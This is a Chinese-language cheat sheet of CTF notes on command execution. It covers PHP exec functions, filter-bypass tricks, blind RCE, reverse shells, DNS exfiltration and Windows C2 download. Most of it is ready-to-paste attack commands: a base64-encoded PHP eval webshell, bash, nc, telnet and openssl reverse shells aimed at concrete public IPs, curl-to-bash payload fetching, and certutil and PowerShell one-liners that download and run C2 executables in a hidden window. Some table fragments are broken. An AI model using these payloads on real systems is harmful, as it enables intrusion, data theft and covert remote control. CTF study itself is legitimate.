前言
主要记录了一些在ctf中遇见的命令执行时的一些思路
php命令执行相关函数
php命令执行函数
实例
``
里内容作为shell命令来执行,如echo `ls`;
底层为shell_execsystem()函数可以执行系统命令, 并将命令执行的结果直接输出到界面
system('ls')
exec()函数是被禁用的,先是 要关掉 安全模式
safe_mode = off
exec(‘ls’,$result);如果result数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容exec('ls',$result); print_r($result);
shell_exec()函数可以执行系统命令, 但它不会直接输出执行的结果, 而是返回一个字符串类型的变量来存储系统命令的执行结果
echo shell_exec('ls')
passthru()函数可以执行系统命令, 并将执行结果输出到页面中, 与system()函数不同的是, 它支持二进制的数据, 更多的用于文件, 图片等操作
passthru('ls')
popen()函数可以执行系统命令, 但不会输出执行的结果, 而是返回一个资源类型的变量用来存储系统命令的执行结果
$result = popen( ‘ls’ , ‘r’ );参数’1’:字符串类型,需要执行的命令,;参数2:字符串类型,模式 ;返回值:资源类型,命令执行的结果$result = popen( 'ls','r' ); echo fread( $result , 100 );
php命令执行绕过
PHP内置的命令执行函数(如shell_exec、system),都只接受一个“字符串”作为参数。而在内核中,这个字符串将被直接作为一条shell命令来调用,这种情况下就极为容易出现命令注入漏洞。
由于这个特点,PHP特别准备了两个过滤函数:
escapeshellcmd
escapeshellarg
二者分工不同.
1 | escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数 |
1 |
|
如果是先用 escapeshellarg 函数过滤,再用的 escapeshellcmd 函数过滤
linux端执行
命令执行中的各种绕过
在ctf中,命令执行一直是一个非常重要的考点,一道ctf题最后往往都需要我们执行命令来拿到flag,但一般都会有各种各样的过滤限制,接下来就来总结一下如何绕过这些过滤
绕过空格
1 | <> #重定向,如cat<>flag.php |
绕过关键字
- 字符拆分绕过
1 | ls -> l\s |
- 拆分命令绕过
1 | ls -> a=l;b=s;$a$b |
- 编码绕过
base64
1
2
3
4
5
6
7#base64编码并输出
echo 'cat' | base64
#base64解码并输出
`echo Y2F0Cg== | base64 -d` /flag
echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSkgPz4=|base64 -d> shell.php
#注入后门,密码为cmdhex
1
2
3
4xxd用二进制或十六进制显示文件的内容
-b参数: 以2进制字符串形式输出
-ps参数:以连续16进制转储输出
-r参数: 将16进制字符串表示转为实际的数
1 | echo 77686F616D69 | xxd -r -p | bash |
- 通配符绕过(与正则类似)
在执行命令前,包含通配符的字符串将转换成匹配到的文件名,文件名按照字母顺序排列,以空格隔开
1 | * #匹配任意长度字符 |
linux下命令其实也是文件比如说像cat就对应文件/bin/cat,ls就对应文件/bin/ls等等,我们也可以用类似的方法进行构造:
1 | ls -> /bin/l? |
- 使用空变量绕过
变量说明:1
2
3
4
5
6
7
8
9
10
11
12$$ ——脚本运行的当前进程号(ProcessID)
$! ——后台运行的最后一个进程的ID
$? ——显示最后命令的退出状态。结果为0表示执行正常,结果为1表示执行异常;
$# ——参数个数
$0 ——Shell本身的文件名,在命令行中使用为bash
注:因为在没有传参的情况下,下面的特殊变量都是为空的
$∗ ——所有参数列表。以"$1 $2 … $n"的形式输出所有参数。
$@ ——所有参数列表。以"$1" “2"…"2"…"n” 的形式输出所有参数。
$1~n ——添加到Shell的各参数值。$1是第1参数、$2是第2参数…。
绕过长度限制
将命令写入文件并拼接,用sh执行文件
1 | #1. 直接写入命令 (13) |
无回显rce
判断是否存在盲注
可以简单的通过sleep函数判断命令是否被执行
如 sleep 5
通过写文件来回显
ls > 1.txt
在当前目录创建文件,达到回显的效果,应注意执行是否有写的权限
反弹shell
反弹shell需要拥有自己的公网ip
NC 反弹shell
开放端口
检测是否开放端口for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/124.220.165.133/$i" && echo "$i ************************open************************" || echo "$i closed";done
方式一:ufw(建议)
下载sudo apt install ufw
sudo ufw status verbose
查看端口开放的情况sudo ufw allow 9200
允许外部访问9200端口(tcp/udp)使用
接受端nc -lvnp 2333
发送端使用nc 124.220.165.133 2333 -e/bin/sh
或者直接反弹shellbash -c "bash -i >& /dev/tcp/120.46.41.173/2333 0>&1"
可能有延迟,需要多试几次其他反弹shell的命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20# 攻击机
nc -lvvp 端口
# 目标机:
rm -f a && mknod a p && telnet IP 端口 0<a | /bin/bash 1>a
# 生成秘钥(在我们攻击机上生成的)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# 在攻击机中启动监听(在之前生成秘钥的文件夹中执行)
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
# 在目标机器上反弹shell
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:443 > /tmp/s;rm /tmp/s
echo 'bash -i >& /dev/tcp/43.128.11.131/4545' > index.html
# 这里&是让这个命令后台执行
python3 -m http.server &
nc -lvvp 4545
# 目标机:
curl 43.128.11.131:8000|bash
外带数据
dns外带
注意:dns平台是外网请求延迟比较大,可能因程序报错而中断请求
平台url: http://ceye.io/
如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping命令或者curl命令
例如
1 | curl http://cx7xrs.ceye.io/`whoami` |
查看日志
1 | 124.223.158.81 - - [19/Feb/2023:08:47:08 +0000] "GET /x.php?1=Y3Rmc2hvd3sxMGRkODQ5Ni0xZDQ3LTRmYWQtODE3Mi1kNmI0ZDBlMWMwZWN9Cg== HTTP/1.0" 404 466 "-" "-" |
使用php脚本配合外带数据
1 |
|
windows端执行
windows端很多字符都是没有特殊含义的,所以绕过思路比较少
命令执行中的各种绕过
绕过空格
1 | echo/123>>s1.php |
绕过关键字
1 | wh"oam"i |
无回显rce
判断是否存在盲注
使用 timeout 命令:timeout /t 5
这条命令会让命令行暂停 5 秒钟。/t 后面的数字表示暂停的时间(单位是秒)。
使用 ping 命令:
你还可以通过 ping 命令模拟延时:ping 127.0.0.1 -n 6 > nul
这里的 -n 6 表示 ping 命令会发送 6 次请求,间隔 1 秒,所以总共会等待大约 5 秒钟
上传c2
通过 Certutil 远程下载C2文件并执行certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数
通过 PowerShell 远程下载C2文件并执行powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数